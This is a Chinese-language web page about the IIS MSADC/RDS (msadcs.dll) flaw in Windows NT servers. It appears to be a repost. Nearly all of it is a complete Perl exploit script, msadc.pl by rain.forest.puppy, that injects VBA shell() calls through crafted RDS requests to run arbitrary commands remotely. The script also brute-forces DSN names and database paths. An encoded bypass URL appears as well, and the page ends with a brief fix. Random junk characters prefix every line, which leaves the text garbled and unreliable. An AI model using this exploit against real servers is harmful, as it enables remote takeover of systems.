IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[A'e7Do%' DzIV5FG 涉及程序:
@~}~;}0x Microsoft NT server
Pk;1q?tGw :31?Z(fQ 描述:
1vYa&! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{55f{5y3
c NHcA6y$Cz 详细:
Z<*"sFpAO 如果你没有时间读详细内容的话,就删除:
>)HKruSW. c:\Program Files\Common Files\System\Msadc\msadcs.dll
@;tM R|p 有关的安全问题就没有了。
fWf't2H& 6n|][! f 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
kt kS$ 9
e|[9 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Jl1\*1" 关于利用ODBC远程漏洞的描述,请参看:
]Ot=At 9fWR8iV http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T7-yZSw-m 1SH]$V4C 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
sm{/S*3 http://www.microsoft.com/security/bulletins/MS99-025faq.asp )%<,JD x=-(p}0o;< 这里不再论述。
v4K! BW 3.9/mztS 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[E+J=L.l ("YWJJ'H /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
E@6gTx* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
FAdTp.
Xpv<v[a z "z #将下面这段保存为txt文件,然后: "perl -x 文件名"
hgbf"J6V8 0+[3>N y0 #!perl
KdD~;Ap$ #
^/cqE[V~, # MSADC/RDS 'usage' (aka exploit) script
s:cJF #
tvBLfqIr # by rain.forest.puppy
,tDLpnB@; #
$Ld-lQsL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hL&7D@ # beta test and find errors!
k!G{#(++&6 BS?i!Bm 7 use Socket; use Getopt::Std;
zqURnsJ getopts("e:vd:h:XR", \%args);
<FAbImE} H= w6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Spu; Dm$SW<!l| if (!defined $args{h} && !defined $args{R}) {
,%qP print qq~
"kC6G% Usage: msadc.pl -h <host> { -d <delay> -X -v }
KS1udH^Zc -h <host> = host you want to scan (ip or domain)
[k75+#' -d <seconds> = delay between calls, default 1 second
Qmb+%z -X = dump Index Server path table, if available
1]Cbi7 -v = verbose
deq5u> -e = external dictionary file for step 5
+Z-{6C kM@e_YtpY Or a -R will resume a command session
2Dt^W.! Ui-Y` ~; exit;}
LE~vSm^# 0M)\([W9& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
P: L6Zo-J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
:4x6dYNU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Ut C<TBr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_|4QrZ$n( $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
P.g./8N`z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
v~W;&{ @P>>:002/ if (!defined $args{R}){ $ret = &has_msadc;
7h2/8YUgQ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
j^v<rCzc( ^CM@VmPp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;8f)p9vE . "cmd /c ";
8r:T&)v $in=<STDIN>; chomp $in;
3 ]@wa!` $command="cmd /c " . $in ;
nr8#;D YXmy-o> if (defined $args{R}) {&load; exit;}
{?++T 0 T00sYoK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5\O&pz@D &try_btcustmr;
XbeT x ydRS\l print "\nStep 2: Trying to make our own DSN...";
(CtRU &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
X+HPdrT bD3 dT>(+ print "\nStep 3: Trying known DSNs...";
r+6 DlT
a &known_dsn;
Xr4k]'Mg ;PqC*iz print "\nStep 4: Trying known .mdbs...";
,1-idpnX &known_mdb;
E7.{SGH} ;9-J=@KY4 if (defined $args{e}){
j~=<O<P print "\nStep 5: Trying dictionary of DSN names...";
V\Y,4&bI &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
JlawkA h/y0Q~|/d print "Sorry Charley...maybe next time?\n";
foY]RkW9 exit;
YguW2R=6] |oX9SU l ##############################################################################
/,j'Vr\" D vN0h(? sub sendraw { # ripped and modded from whisker
- K"L6m| sleep($delay); # it's a DoS on the server! At least on mine...
EG_P^<z my ($pstr)=@_;
mq(K_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xc05GJ die("Socket problems\n");
(JE&1 @ if(connect(S,pack "SnA4x8",2,80,$target)){
%m/5!
" select(S); $|=1;
>}C:EnECy print $pstr; my @in=<S>;
_j{)%%?r select(STDOUT); close(S);
VP ?Q$?a return @in;
^)$T` } else { die("Can't connect...\n"); }}
'%rn-|) d7x6r3J$ ##############################################################################
1gvh6eE
F yFDt%&*n^ sub make_header { # make the HTTP request
xa
!/. my $msadc=<<EOT
&Ot9"Aq: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8{7'w|/;.{ User-Agent: ACTIVEDATA
x
#|t#N% Host: $ip
&sXk!!85: Content-Length: $clen
&t'P>6) Connection: Keep-Alive
@ kba^z qjf4G[]! ADCClientVersion:01.06
3.=o }! Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
S3QX{5t\ uMZ<i} --!ADM!ROX!YOUR!WORLD!
)IIWXN2A Content-Type: application/x-varg
g( S4i%\ Content-Length: $reqlen
Q(Pc X&@>M} EOT
?8<R)hJa< ; $msadc=~s/\n/\r\n/g;
&s\/Uq return $msadc;}
Cs,t:ajP Scfe6+\EW ##############################################################################
[C{oj*"c] ng:B;;
m sub make_req { # make the RDS request
/<1zzeHRSD my ($switch, $p1, $p2)=@_;
%#TAz7 my $req=""; my $t1, $t2, $query, $dsn;
LjCUkbzQF lP*p7Y ' if ($switch==1){ # this is the btcustmr.mdb query
h?p!uQ $query="Select * from Customers where City=" . make_shell();
S4VM(~,o $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Zmm6&OZ% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
TeKU/&fkc 2`J#)f| elsif ($switch==2){ # this is general make table query
Q7-'5s $query="create table AZZ (B int, C varchar(10))";
BvP++,a&Sa $dsn="$p1";}
Rk#p zD Yf_/c*t\5 elsif ($switch==3){ # this is general exploit table query
}kSP p $query="select * from AZZ where C=" . make_shell();
+ cZC$lo $dsn="$p1";}
'LYN{ ogqKM_ elsif ($switch==4){ # attempt to hork file info from index server
!m8T< LtMl $query="select path from scope()";
Vg}+w Nt5 $dsn="Provider=MSIDXS;";}
|lN=q44I (-xVW#39 elsif ($switch==5){ # bad query
e5(c,,/ $query="select";
W&HxMi $dsn="$p1";}
Q-J} :U cZ3A~dTOR $t1= make_unicode($query);
`+i/rc1. $t2= make_unicode($dsn);
F`>qg2wO $req = "\x02\x00\x03\x00";
g){gF( $req.= "\x08\x00" . pack ("S1", length($t1));
`yh][gqVE~ $req.= "\x00\x00" . $t1 ;
NR"C@3kD]o $req.= "\x08\x00" . pack ("S1", length($t2));
m[v%Qe|~ $req.= "\x00\x00" . $t2 ;
a:s$[+'Y $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'p)DJUwt return $req;}
rpc;*t+z $3xDjiBb ##############################################################################
q#K0EAgC %~P3t=r sub make_shell { # this makes the shell() statement
/ 2MhP=, return "'|shell(\"$command\")|'";}
Q.Y6 4#W*f3d[@: ##############################################################################
89t"2|9 u (:R5"|]@<x sub make_unicode { # quick little function to convert to unicode
y5 X FJj my ($in)=@_; my $out;
TN<"X :x9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=i6k[ rg return $out;}
2InM(p7j~K ]2{]TJ@B ##############################################################################
\eAV: qV }"[/BT5t sub rdo_success { # checks for RDO return success (this is kludge)
?v`24p3PC my (@in) = @_; my $base=content_start(@in);
i=&]%T6Qk if($in[$base]=~/multipart\/mixed/){
HkY#i;%N return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ru|*xNXKgC return 0;}
di7cCn g ;XK3R ##############################################################################
*?A!`JpJn TP/bX&bjCy sub make_dsn { # this makes a DSN for us
&qM8)2Y my @drives=("c","d","e","f");
(EH}lh}% print "\nMaking DSN: ";
=E-o@#BS foreach $drive (@drives) {
OzR<jCOS print "$drive: ";
yqR]9"a my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C=2DxdZG "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
rC_saHo>#R . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
QZ[S,
c^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
%*RZxR): return 0 if $2 eq "404"; # not found/doesn't exist
xNa66A-8 if($2 eq "200") {
d(9-T@J foreach $line (@results) {
cucT|y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
e
[6F }."c } return 0;}
(Ffa{Tt! aj=-^iGG ##############################################################################
_xBhMu2f /82E[P"}6R sub verify_exists {
:Ys
;)W+R my ($page)=@_;
BqDsf5}jpA my @results=sendraw("GET $page HTTP/1.0\n\n");
0uIBaW3s return $results[0];}
Fc=6*.hy SR_-wD ##############################################################################
`u_k?)lK @Vy Ne(U sub try_btcustmr {
IkxoW:L my @drives=("c","d","e","f");
-B(p8 YH my @dirs=("winnt","winnt35","winnt351","win","windows");
ej1WkaR8
7xR:\FBa^ foreach $dir (@dirs) {
x(p/9$.# print "$dir -> "; # fun status so you can see progress
vNdW.V} foreach $drive (@drives) {
_>r(T4}] print "$drive: "; # ditto
j8]M}Q$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=k;X}/ $reqlenlen=length( "$reqlen" );
E`{DX9^ $clen= 206 + $reqlenlen + $reqlen;
] mK{E~Zll hZ.](rD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
_H-Fm$Q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
k~F,n else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d/awQXKe7 &> R:oYN ##############################################################################
~QUN O~ 8Qj1%Ri:U sub odbc_error {
g@pK9R%wH< my (@in)=@_; my $base;
GiXs`Yt| my $base = content_start(@in);
jj]|}G if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:LC3>x`: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
JXR]G $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WM4,\$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m Ph=bG return $in[$base+4].$in[$base+5].$in[$base+6];}
kf#S"[/E print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
e AaS }g
0 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&7\fj $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
~y
whl'"k nT(AO-Ue^ ##############################################################################
M a3}w-=; y(E<MRd8V sub verbose {
L"0?g(<
5 my ($in)=@_;
D 5:'2i return if !$verbose;
7Jz9%iP print STDOUT "\n$in\n";}
qv4r!x +At0V( ##############################################################################
Vi0D>4{+ $ub0$S/Hu sub save {
OKk"S_` my ($p1, $p2, $p3, $p4)=@_;
!DHfw-1K open(OUT, ">rds.save") || print "Problem saving parameters...\n";
L:Mjd47L print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
BWB}bq close OUT;}
&5G@YQD1e tZFpxyF
##############################################################################
{.DY\;Q q!~DCv df sub load {
qG9j}[d' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z\?<j%e!t open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/}iBrMD{[ @p=<IN>; close(IN);
2U"2L^oKI $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
C}DIm&)) $target= inet_aton($ip) || die("inet_aton problems");
oq|`;k print "Resuming to $ip ...";
xuVc1jJH $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>+>N/`BG if($p[1]==1) {
<P@O{Xi+K $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
FJxb!-0& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7r.~L my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4I|pkdF_ if (rdo_success(@results)){print "Success!\n";}
;d_<6|*M else { print "failed\n"; verbose(odbc_error(@results));}}
PSX
o" elsif ($p[1]==3){
#\ysn|!J, if(run_query("$p[3]")){
1+Ik\ print "Success!\n";} else { print "failed\n"; }}
8#o2 qQ2+ elsif ($p[1]==4){
[,MK)7DU if(run_query($drvst . "$p[3]")){
$M+'jjnP print "Success!\n"; } else { print "failed\n"; }}
'C#[iRG4 exit;}
y0/FyQs Y]uVA`%"b ##############################################################################
Z+[W@5q .b^!f<j sub create_table {
!$!%era` my ($in)=@_;
dO,;k+ $reqlen=length( make_req(2,$in,"") ) - 28;
M=SrZ,W $reqlenlen=length( "$reqlen" );
"V`DhOG& $clen= 206 + $reqlenlen + $reqlen;
|YfJ#Agm+ my @results=sendraw(make_header() . make_req(2,$in,""));
i
XGy*#>V return 1 if rdo_success(@results);
D,(:))DmR my $temp= odbc_error(@results); verbose($temp);
2~B5?(g return 1 if $temp=~/Table 'AZZ' already exists/;
G-;EB return 0;}
m&be55M; ^=PY6! iW ##############################################################################
Mm9*$g!R @L0)k^: sub known_dsn {
gFfKK`)}D' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
02T'B&&~ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P97i<pB Y_ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
wwJ s_f\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
^D9w=f#a #TH(:I=[ foreach $dSn (@dsns) {
_9Rj, print ".";
lIO#)> next if (!is_access("DSN=$dSn"));
K]|hkp& if(create_table("DSN=$dSn")){
a$bE2'cb print "$dSn successful\n";
}1lZW"{e[ if(run_query("DSN=$dSn")){
Z5EII[=$o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t%f>*}*P* print "Something's borked. Use verbose next time\n";}}} print "\n";}
JLjs`oqh t}OzF cyqN ##############################################################################
7 `c! y|3("&)"S sub is_access {
ap"pQ[t; my ($in)=@_;
u),.q7(m $reqlen=length( make_req(5,$in,"") ) - 28;
<p2\;\?4z $reqlenlen=length( "$reqlen" );
\YF07L]qs- $clen= 206 + $reqlenlen + $reqlen;
]&P 4QT)f my @results=sendraw(make_header() . make_req(5,$in,""));
7m?fvKy my $temp= odbc_error(@results);
0W+RVp=TL1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
eYUq0~3 return 0;}
aMJ2bu "s(|pQh; ##############################################################################
];N/KHeZ :/t_5QN sub run_query {
:2:%
my ($in)=@_;
%afF%y $reqlen=length( make_req(3,$in,"") ) - 28;
[
<k&]Kv $reqlenlen=length( "$reqlen" );
y6MkaHW[m $clen= 206 + $reqlenlen + $reqlen;
Vh]=sd<F my @results=sendraw(make_header() . make_req(3,$in,""));
s;]"LD@ return 1 if rdo_success(@results);
6q
`Un} my $temp= odbc_error(@results); verbose($temp);
P:1eWP return 0;}
CoWT HIfi18 ##############################################################################
+$/NTUOP X\*H7;k, sub known_mdb {
eiRVw5g my @drives=("c","d","e","f","g");
/BhP`a%2Q my @dirs=("winnt","winnt35","winnt351","win","windows");
$~?)E;S
my $dir, $drive, $mdb;
AgUjC my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
uigzf^6, q~*|Wd'& # this is sparse, because I don't know of many
$v"CQD my @sysmdbs=( "\\catroot\\icatalog.mdb",
d(|4 +^> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
oU*e=uehj "\\system32\\certmdb.mdb",
w]N;HlU "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]+tO =CCddLO my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
]5MT-qU "\\cfusion\\cfapps\\forums\\forums_.mdb",
dwiLu& ]u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ft iAty0n "\\cfusion\\cfapps\\security\\realm_.mdb",
y
S<&d#:" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:X7O4?ww "\\cfusion\\database\\cfexamples.mdb",
w[)HQ1K "\\cfusion\\database\\cfsnippets.mdb",
?,[$8V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`/WOP`'zM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
g|4>S<uC "\\cfusion\\brighttiger\\database\\cleam.mdb",
'kg~#cf/+ "\\cfusion\\database\\smpolicy.mdb",
l^$U~OB8k "\\cfusion\\database\cypress.mdb",
dKw[#(m5v "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
l
SuNZYaO "\\website\\cgi-win\\dbsample.mdb",
zhyf}Ta' "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~i>'3j0@k "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
A$;*O) ); #these are just
&rc
r>- foreach $drive (@drives) {
QPvWdjf#mM foreach $dir (@dirs){
`H^
H#W foreach $mdb (@sysmdbs) {
@]EdUzzKq print ".";
X[?E{[@Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
D?H|O[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
vJ&35nF& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
`1FNs?j print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(;HO3Z".q$ } else { print "Something's borked. Use verbose next time\n"; }}}}}
]a:T]x6' RGY#0 .Z} foreach $drive (@drives) {
7CX5pRNL foreach $mdb (@mdbs) {
!Uhc jfq`e print ".";
x"Ij+~i{l if(create_table($drv . $drive . $dir . $mdb)){
nGTqW/k[+s print "\n" . $drive . $dir . $mdb . " successful\n";
0zA:?} if(run_query($drv . $drive . $dir . $mdb)){
ZMK1V)ohn print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}UG<_bE| } else { print "Something's borked. Use verbose next time\n"; }}}}
oiz]Bd }
}j\8|UG /5\{(=0 ##############################################################################
Bf W@f =knBwjeD sub hork_idx {
;N
_%O print "\nAttempting to dump Index Server tables...\n";
wFBSux$ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
gM6o~ E $reqlen=length( make_req(4,"","") ) - 28;
mt-t8~A $reqlenlen=length( "$reqlen" );
gf8~Zlq4v $clen= 206 + $reqlenlen + $reqlen;
mx2Ov u my @results=sendraw2(make_header() . make_req(4,"",""));
dmMrZ1u2 if (rdo_success(@results)){
f>? b2a2HX my $max=@results; my $c; my %d;
$@WA}\D for($c=19; $c<$max; $c++){
,awkL
: $results[$c]=~s/\x00//g;
U8zs=tA $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1L3 $h0i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3tmS/tQp $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1_G+sDw$ $d{"$1$2"}="";}
\F7NuG:m, foreach $c (keys %d){ print "$c\n"; }
H.[(`wi!I } else {print "Index server doesn't seem to be installed.\n"; }}
b|Eo\l2 !nF.whq ##############################################################################
]TsmW ob +1Rz + sub dsn_dict {
X>MDX.Z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
qqu]r while(<IN>){
z,SNJIsx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
YXGxE&! next if (!is_access("DSN=$dSn"));
asYUb&Hz88 if(create_table("DSN=$dSn")){
$oi8<8Y print "$dSn successful\n";
\Iz-<:gA' if(run_query("DSN=$dSn")){
_P=L| U#C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BM02k\% print "Something's borked. Use verbose next time\n";}}}
G-DOI print "\n"; close(IN);}
k_ijVfI9 1_)Y{3L ##############################################################################
JvtbGPz Qmj%otSg sub sendraw2 { # ripped and modded from whisker
:2;c@ uj sleep($delay); # it's a DoS on the server! At least on mine...
PkF'#W% my ($pstr)=@_;
K- TLzoYA socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}\EHZ die("Socket problems\n");
WAGU|t#." if(connect(S,pack "SnA4x8",2,80,$target)){
pA@BW:# print "Connected. Getting data";
28 ;x5m)N open(OUT,">raw.out"); my @in;
lZD"7om select(S); $|=1; print $pstr;
(w/lZt while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
B|-W close(OUT); select(STDOUT); close(S); return @in;
kBrU%[0O } else { die("Can't connect...\n"); }}
?L>}(
{9 `q?@ Ob& ##############################################################################
x)e(g}n JE[J}-2 sub content_start { # this will take in the server headers
j`k:) my (@in)=@_; my $c;
f,8PPJ:, for ($c=1;$c<500;$c++) {
UphZRgT!N if($in[$c] =~/^\x0d\x0a/){
/Au7X'} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8Y~\:3&1< else { return $c+1; }}}
tL
S$D- return -1;} # it should never get here actually
$Q56~AP !F#^Peb ##############################################################################
eu?DSad p~Mw^SN' sub funky {
cu"ge]}, my (@in)=@_; my $error=odbc_error(@in);
Trml?zexD if($error=~/ADO could not find the specified provider/){
F ss@/- print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>Gr,!yP exit;}
Xe<kdB3 if($error=~/A Handler is required/){
O|0} m print "\nServer has custom handler filters (they most likely are patched)\n";
0J1&6b exit;}
!+ ??3-q if($error=~/specified Handler has denied Access/){
-y)g}D% print "\nServer has custom handler filters (they most likely are patched)\n";
_SQ0`=+ exit;}}
=_,j89E RJA#cv~f ##############################################################################
G'6f6i|<I@ P<IZ%eS3B sub has_msadc {
?bl9e&/! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p!2t/XIM my $base=content_start(@results);
<|4L+?_(& return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
2p8}6y:}7 return 0;}
5*r5?ne (Ei} :6,} ########################
jI,?*n< hO4* X Xa/]}
B 解决方案:
qiyJ4^1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
H4g1@[{|0O 2、移除web 目录: /msadc